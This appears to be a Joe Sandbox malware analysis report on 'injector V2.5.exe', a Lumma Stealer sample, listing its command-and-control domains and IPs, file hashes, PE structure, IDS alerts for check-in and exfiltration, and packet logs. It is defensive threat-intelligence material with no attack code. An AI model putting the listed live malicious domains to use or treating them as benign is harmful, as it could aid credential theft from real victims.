https://librari-night.sbs/r	injector V2.5.exe, 00000002.00000003.1798953231.0000000005AE6000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1776244127.00000000033EC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y	injector V2.5.exe	false		high
http://x1.c.lencr.org/0	injector V2.5.exe, 00000002.00000003.1821148663.0000000005B1D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	injector V2.5.exe, 00000002.00000003.1821148663.0000000005B1D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z	injector V2.5.exe	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	injector V2.5.exe, 00000002.00000003.1777081480.0000000005B12000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	injector V2.5.exe, 00000002.00000003.1776561248.0000000005B29000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1776480308.0000000005B2B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.microsof	injector V2.5.exe, 00000002.00000003.1776917061.0000000005B85000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	injector V2.5.exe, 00000002.00000003.1821148663.0000000005B1D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	injector V2.5.exe, 00000002.00000003.1777081480.0000000005B12000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	injector V2.5.exe, 00000002.00000003.1822505611.0000000005C01000.00000004.00000800.00020000.00000000.sdmp	false		high
https://librari-night.sbs/OT	injector V2.5.exe, 00000002.00000003.1799214621.00000000033D3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	injector V2.5.exe, 00000002.00000003.1776561248.0000000005B29000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1776480308.0000000005B2B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#	injector V2.5.exe	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.67.206.172	librari-night.sbs	United States		13335	CLOUDFLARENETUS	false
104.21.43.198	revirepart.biz	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1560308
Start date and time:	2024-11-21 16:52:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	injector V2.5.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@4/0@3/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 62% Number of executed functions: 28 Number of non-executed functions: 93
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: injector V2.5.exe

Simulations

Behavior and APIs

Time	Type	Description
10:53:01	API Interceptor	9x Sleep call for process: injector V2.5.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
172.67.206.172	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	Unpacker.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
104.21.43.198	gdi32.dll	Get hash	malicious	LummaC	Browse
104.21.43.198	Loader.exe	Get hash	malicious	LummaC	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
revirepart.biz	hmjsOnyfSB.dll	Get hash	malicious	LummaC	Browse	172.67.184.174
	modest-menu.exe	Get hash	malicious	LummaC	Browse	172.67.184.174
	gdi32.dll	Get hash	malicious	LummaC	Browse	104.21.43.198
	Loader.exe	Get hash	malicious	LummaC	Browse	104.21.43.198
	c2_Acid.exe	Get hash	malicious	LummaC	Browse	172.67.184.174
	XRuncher_2.5.0.6.exe	Get hash	malicious	LummaC	Browse	172.67.184.174
	Jorieh.exe	Get hash	malicious	LummaC	Browse	172.67.184.174
librari-night.sbs	Documento.exe	Get hash	malicious	LummaC	Browse	104.21.85.146
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	172.67.206.172
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.172
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	104.21.85.146
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.172
	file.exe	Get hash	malicious	LummaC	Browse	104.21.85.146
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.172
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.172
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.172
	hmjsOnyfSB.dll	Get hash	malicious	LummaC	Browse	104.21.85.146

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC	Browse	104.21.66.38
	payments.exe	Get hash	malicious	FormBook	Browse	172.67.209.48
	Mandatory Notice for all December Leave and Vacation application.exe	Get hash	malicious	FormBook	Browse	104.21.41.74
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	162.159.61.3
	http://xmrminingproxy.com	Get hash	malicious	Unknown	Browse	104.21.6.188
	Loader.exe	Get hash	malicious	LummaC	Browse	104.21.66.38
	VMX.exe	Get hash	malicious	LummaC	Browse	172.67.198.61
	Director of Performance Marketing Job Description Roles & Responsibilities Theory 2024.lnk	Get hash	malicious	Ducktail	Browse	104.21.15.40
	https://spacardportal.works.com/gar	Get hash	malicious	Unknown	Browse	104.18.86.42
	ADZ Laucher.exe	Get hash	malicious	LummaC	Browse	172.67.155.248
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC	Browse	104.21.66.38
	payments.exe	Get hash	malicious	FormBook	Browse	172.67.209.48
	Mandatory Notice for all December Leave and Vacation application.exe	Get hash	malicious	FormBook	Browse	104.21.41.74
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	162.159.61.3
	http://xmrminingproxy.com	Get hash	malicious	Unknown	Browse	104.21.6.188
	Loader.exe	Get hash	malicious	LummaC	Browse	104.21.66.38
	VMX.exe	Get hash	malicious	LummaC	Browse	172.67.198.61
	Director of Performance Marketing Job Description Roles & Responsibilities Theory 2024.lnk	Get hash	malicious	Ducktail	Browse	104.21.15.40
	https://spacardportal.works.com/gar	Get hash	malicious	Unknown	Browse	104.18.86.42
	ADZ Laucher.exe	Get hash	malicious	LummaC	Browse	172.67.155.248

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.172 104.21.43.198
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	172.67.206.172 104.21.43.198
	Loader.exe	Get hash	malicious	LummaC	Browse	172.67.206.172 104.21.43.198
	VMX.exe	Get hash	malicious	LummaC	Browse	172.67.206.172 104.21.43.198
	ADZ Laucher.exe	Get hash	malicious	LummaC	Browse	172.67.206.172 104.21.43.198
	Loader.exe	Get hash	malicious	LummaC	Browse	172.67.206.172 104.21.43.198
	Hexium.exe	Get hash	malicious	LummaC	Browse	172.67.206.172 104.21.43.198
	BlazeVaze.exe	Get hash	malicious	LummaC	Browse	172.67.206.172 104.21.43.198
	ExL4unch#U20ac#U00ae.exe	Get hash	malicious	LummaC	Browse	172.67.206.172 104.21.43.198
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.172 104.21.43.198

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32 executable (console) Intel 80386, for MS Windows
Entropy (8bit):	7.69373304289523
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	injector V2.5.exe
File size:	587'904 bytes
MD5:	96f89e1cb2a8789acee8720d872b4cc5
SHA1:	03e6c31a56329ac737de81a43c9b8b9266fd31a3
SHA256:	313d44650a5c5c542bbbcae9d17c03cc0981642b1450a092bfa95956bbead114
SHA512:	8aacc3f740abf77e70ebbcfcbf29c010eb4d9f7e43f68f3841102c248fb89c0a433916927be7a471e280037ec3058ab02a2b48e2c6312782a9cb74dc0ab2fcee
SSDEEP:	12288:SRgyqSwAN2kLkjnP13tGHaSQ3fTPTzLXwlIfykWetYbVYN5BUPx3ABtCT7lr7v:ig2N2kLkTd3AHah3f7DyJqYGBUPx3AuJ
TLSH:	BDC4D0165141F8A3F88758FF38A2A31724E733B2A7B1CDE3C175756887801C1D5EAA6E
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....2?g.................V........................@.......................................@.................................T...(..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x4292c0
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_ISOLATION, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x673F321B [Thu Nov 21 13:14:03 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	3a33a82bcd5969a5b19ce5fba049e5b4

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Sectigo Public Code Signing CA R36, O=Sectigo Limited, C=GB
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	30/08/2023 20:00:00 30/08/2026 19:59:59
Subject Chain	CN=Privacy Technologies OU, O=Privacy Technologies OU, S=Harjumaa, C=EE
Version:	3
Thumbprint MD5:	AD1BCBF19AE2F91BB114D33B85359E56
Thumbprint SHA-1:	141D90A1BA8F61863FBEDDF7DD1D66C1D1E0B128
Thumbprint SHA-256:	A08EA2A7A257AD690B988446951E9DEF2986A2F3F546B6F0902805330F3B6B48
Serial:	00D0461B529F67189D43744E9CEFE172AE

Entrypoint Preview

Instruction
call 00007F3498C7EBEBh
jmp 00007F3498C7E7FDh
push ebp
mov ebp, esp
push dword ptr [ebp+08h]
call 00007F3498C7E99Fh
neg eax
pop ecx
sbb eax, eax
neg eax
dec eax
pop ebp
ret
push ebp
mov ebp, esp
cmp dword ptr [0043E488h], FFFFFFFFh
push dword ptr [ebp+08h]
jne 00007F3498C7E999h
call 00007F3498C8081Bh
jmp 00007F3498C7E99Dh
push 0043E488h
call 00007F3498C8079Eh
pop ecx
neg eax
pop ecx
sbb eax, eax
not eax
and eax, dword ptr [ebp+08h]
pop ebp
ret
push 00000008h
push 0043C8E0h
call 00007F3498C7EF0Dh
and dword ptr [ebp-04h], 00000000h
mov eax, 00005A4Dh
cmp word ptr [00400000h], ax
jne 00007F3498C7E9EFh
mov eax, dword ptr [0040003Ch]
cmp dword ptr [eax+00400000h], 00004550h
jne 00007F3498C7E9DEh
mov ecx, 0000010Bh
cmp word ptr [eax+00400018h], cx
jne 00007F3498C7E9D0h
mov eax, dword ptr [ebp+08h]
mov ecx, 00400000h
sub eax, ecx
push eax
push ecx
call 00007F3498C7EB12h
pop ecx
pop ecx
test eax, eax
je 00007F3498C7E9B9h
cmp dword ptr [eax+24h], 00000000h
jl 00007F3498C7E9B3h
mov dword ptr [ebp-04h], FFFFFFFEh
mov al, 01h
jmp 00007F3498C7E9B1h
mov eax, dword ptr [ebp-14h]
mov eax, dword ptr [eax]
xor ecx, ecx
cmp dword ptr [eax], C0000005h
sete cl
mov eax, ecx
ret
mov esp, dword ptr [ebp-18h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3c054	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x8ca00	0x2e80	.coS
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x40000	0x2608	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x37160	0xc0	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x3c198	0x11c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x3544c	0x35600	479743414830a5568bcada3f710e0c1a	False	0.49541221457845436	data	6.9570693373870895	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x37000	0x5e44	0x6000	fa3c2f19487ee30f8cd241552465a803	False	0.4083251953125	data	4.760675312198424	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3d000	0x1ba4	0x1000	ff4f8fd6963b4f7d1c08f13031fa0788	False	0.470703125	OpenPGP Secret Key	4.849894766585126	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.00cfg	0x3f000	0x8	0x200	056d58e83a0a9dfd46d11d226dee9030	False	0.03125	data	0.06116285224115448	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x40000	0x2608	0x2800	01d8884685c61e5615f1d070b294bafc	False	0.7767578125	data	6.602867365262165	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.coS	0x43000	0x4d400	0x4d400	6db305dec2cdadff4d5bbbc9bb78b961	False	1.0003350020226538	data	7.999328108956239	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL

Import

KERNEL32.dll

CloseHandle, CompareStringW, CreateFileA, CreateFileW, DecodePointer, DeleteCriticalSection, EncodePointer, EnterCriticalSection, ExitProcess, FindClose, FindFirstFileExW, FindNextFileW, FlushFileBuffers, FreeEnvironmentStringsW, FreeLibrary, GetACP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetConsoleMode, GetConsoleOutputCP, GetCurrentProcess, GetCurrentProcessId, GetCurrentThreadId, GetEnvironmentStringsW, GetFileSize, GetFileType, GetLastError, GetModuleFileNameW, GetModuleHandleExW, GetModuleHandleW, GetOEMCP, GetProcAddress, GetProcessHeap, GetStartupInfoW, GetStdHandle, GetStringTypeW, GetSystemTimeAsFileTime, HeapAlloc, HeapFree, HeapReAlloc, HeapSize, InitializeCriticalSectionAndSpinCount, InitializeSListHead, IsDebuggerPresent, IsProcessorFeaturePresent, IsValidCodePage, LCMapStringW, LeaveCriticalSection, LoadLibraryExW, MultiByteToWideChar, QueryPerformanceCounter, RaiseException, ReadFile, RtlUnwind, SetEnvironmentVariableW, SetFilePointerEx, SetLastError, SetStdHandle, SetUnhandledExceptionFilter, Sleep, TerminateProcess, TlsAlloc, TlsFree, TlsGetValue, TlsSetValue, UnhandledExceptionFilter, WideCharToMultiByte, WriteConsoleW, WriteFile

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-21T16:53:00.244535+0100	2057646	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (revirepart .biz)	1	192.168.2.4	65437	1.1.1.1	53	UDP
2024-11-21T16:53:01.849846+0100	2057647	ET MALWARE Observed Win32/Lumma Stealer Related Domain (revirepart .biz in TLS SNI)	1	192.168.2.4	49733	104.21.43.198	443	TCP
2024-11-21T16:53:01.849846+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49733	104.21.43.198	443	TCP
2024-11-21T16:53:02.533163+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49733	104.21.43.198	443	TCP
2024-11-21T16:53:02.533163+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49733	104.21.43.198	443	TCP
2024-11-21T16:53:02.928237+0100	2057668	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (processhol .sbs)	1	192.168.2.4	58217	1.1.1.1	53	UDP
2024-11-21T16:53:02.928237+0100	2057697	ET MALWARE Observed DNS Query to Lumma Stealer Domain (processhol .sbs)	1	192.168.2.4	58217	1.1.1.1	53	UDP
2024-11-21T16:53:03.175291+0100	2057658	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (librari-night .sbs)	1	192.168.2.4	61931	1.1.1.1	53	UDP
2024-11-21T16:53:04.773518+0100	2057659	ET MALWARE Observed Win32/Lumma Stealer Related Domain (librari-night .sbs in TLS SNI)	1	192.168.2.4	49734	172.67.206.172	443	TCP
2024-11-21T16:53:04.773518+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49734	172.67.206.172	443	TCP
2024-11-21T16:53:05.490496+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49734	172.67.206.172	443	TCP
2024-11-21T16:53:05.490496+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49734	172.67.206.172	443	TCP
2024-11-21T16:53:07.304425+0100	2057659	ET MALWARE Observed Win32/Lumma Stealer Related Domain (librari-night .sbs in TLS SNI)	1	192.168.2.4	49735	172.67.206.172	443	TCP
2024-11-21T16:53:07.304425+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49735	172.67.206.172	443	TCP
2024-11-21T16:53:08.044029+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49735	172.67.206.172	443	TCP
2024-11-21T16:53:08.044029+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49735	172.67.206.172	443	TCP
2024-11-21T16:53:09.637707+0100	2057659	ET MALWARE Observed Win32/Lumma Stealer Related Domain (librari-night .sbs in TLS SNI)	1	192.168.2.4	49736	172.67.206.172	443	TCP
2024-11-21T16:53:09.637707+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49736	172.67.206.172	443	TCP
2024-11-21T16:53:11.904443+0100	2057659	ET MALWARE Observed Win32/Lumma Stealer Related Domain (librari-night .sbs in TLS SNI)	1	192.168.2.4	49737	172.67.206.172	443	TCP
2024-11-21T16:53:11.904443+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49737	172.67.206.172	443	TCP
2024-11-21T16:53:14.238396+0100	2057659	ET MALWARE Observed Win32/Lumma Stealer Related Domain (librari-night .sbs in TLS SNI)	1	192.168.2.4	49738	172.67.206.172	443	TCP
2024-11-21T16:53:14.238396+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49738	172.67.206.172	443	TCP
2024-11-21T16:53:17.118224+0100	2057659	ET MALWARE Observed Win32/Lumma Stealer Related Domain (librari-night .sbs in TLS SNI)	1	192.168.2.4	49740	172.67.206.172	443	TCP
2024-11-21T16:53:17.118224+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49740	172.67.206.172	443	TCP
2024-11-21T16:53:17.867851+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49740	172.67.206.172	443	TCP
2024-11-21T16:53:19.296454+0100	2057659	ET MALWARE Observed Win32/Lumma Stealer Related Domain (librari-night .sbs in TLS SNI)	1	192.168.2.4	49744	172.67.206.172	443	TCP
2024-11-21T16:53:19.296454+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49744	172.67.206.172	443	TCP
2024-11-21T16:53:22.158221+0100	2057659	ET MALWARE Observed Win32/Lumma Stealer Related Domain (librari-night .sbs in TLS SNI)	1	192.168.2.4	49746	172.67.206.172	443	TCP
2024-11-21T16:53:22.158221+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49746	172.67.206.172	443	TCP
2024-11-21T16:53:22.898587+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49746	172.67.206.172	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 21, 2024 16:53:00.572503090 CET	49733	443	192.168.2.4	104.21.43.198
Nov 21, 2024 16:53:00.572559118 CET	443	49733	104.21.43.198	192.168.2.4
Nov 21, 2024 16:53:00.572662115 CET	49733	443	192.168.2.4	104.21.43.198
Nov 21, 2024 16:53:00.575666904 CET	49733	443	192.168.2.4	104.21.43.198
Nov 21, 2024 16:53:00.575695038 CET	443	49733	104.21.43.198	192.168.2.4
Nov 21, 2024 16:53:01.849714994 CET	443	49733	104.21.43.198	192.168.2.4
Nov 21, 2024 16:53:01.849845886 CET	49733	443	192.168.2.4	104.21.43.198
Nov 21, 2024 16:53:01.863226891 CET	49733	443	192.168.2.4	104.21.43.198
Nov 21, 2024 16:53:01.863284111 CET	443	49733	104.21.43.198	192.168.2.4
Nov 21, 2024 16:53:01.863715887 CET	443	49733	104.21.43.198	192.168.2.4
Nov 21, 2024 16:53:01.917469978 CET	49733	443	192.168.2.4	104.21.43.198
Nov 21, 2024 16:53:01.926575899 CET	49733	443	192.168.2.4	104.21.43.198
Nov 21, 2024 16:53:01.926626921 CET	49733	443	192.168.2.4	104.21.43.198
Nov 21, 2024 16:53:01.926695108 CET	443	49733	104.21.43.198	192.168.2.4
Nov 21, 2024 16:53:02.533148050 CET	443	49733	104.21.43.198	192.168.2.4
Nov 21, 2024 16:53:02.533242941 CET	443	49733	104.21.43.198	192.168.2.4
Nov 21, 2024 16:53:02.533350945 CET	49733	443	192.168.2.4	104.21.43.198
Nov 21, 2024 16:53:02.596353054 CET	49733	443	192.168.2.4	104.21.43.198
Nov 21, 2024 16:53:02.596406937 CET	443	49733	104.21.43.198	192.168.2.4
Nov 21, 2024 16:53:02.596448898 CET	49733	443	192.168.2.4	104.21.43.198
Nov 21, 2024 16:53:02.596467018 CET	443	49733	104.21.43.198	192.168.2.4
Nov 21, 2024 16:53:03.501310110 CET	49734	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:03.501347065 CET	443	49734	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:03.501449108 CET	49734	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:03.501884937 CET	49734	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:03.501900911 CET	443	49734	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:04.773416042 CET	443	49734	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:04.773518085 CET	49734	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:04.776412010 CET	49734	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:04.776421070 CET	443	49734	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:04.776820898 CET	443	49734	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:04.778561115 CET	49734	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:04.778600931 CET	49734	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:04.778645992 CET	443	49734	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:05.490461111 CET	443	49734	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:05.490576982 CET	443	49734	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:05.490627050 CET	49734	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:05.505897045 CET	49734	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:05.505909920 CET	443	49734	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:05.505937099 CET	49734	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:05.505943060 CET	443	49734	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:06.040349960 CET	49735	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:06.040446997 CET	443	49735	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:06.040539026 CET	49735	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:06.041747093 CET	49735	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:06.041781902 CET	443	49735	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:07.304291964 CET	443	49735	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:07.304425001 CET	49735	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:07.306143999 CET	49735	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:07.306157112 CET	443	49735	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:07.306498051 CET	443	49735	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:07.307864904 CET	49735	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:07.307864904 CET	49735	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:07.307951927 CET	443	49735	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:08.043956995 CET	443	49735	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:08.044004917 CET	443	49735	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:08.044035912 CET	443	49735	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:08.044064999 CET	443	49735	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:08.044085979 CET	49735	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:08.044097900 CET	443	49735	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:08.044133902 CET	443	49735	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:08.044168949 CET	49735	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:08.044193029 CET	49735	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:08.046435118 CET	443	49735	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:08.054825068 CET	443	49735	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:08.054889917 CET	49735	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:08.054903030 CET	443	49735	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:08.063234091 CET	443	49735	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:08.063363075 CET	49735	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:08.063374996 CET	443	49735	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:08.104995966 CET	49735	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:08.105014086 CET	443	49735	172.67.206.172	192.168.2.4
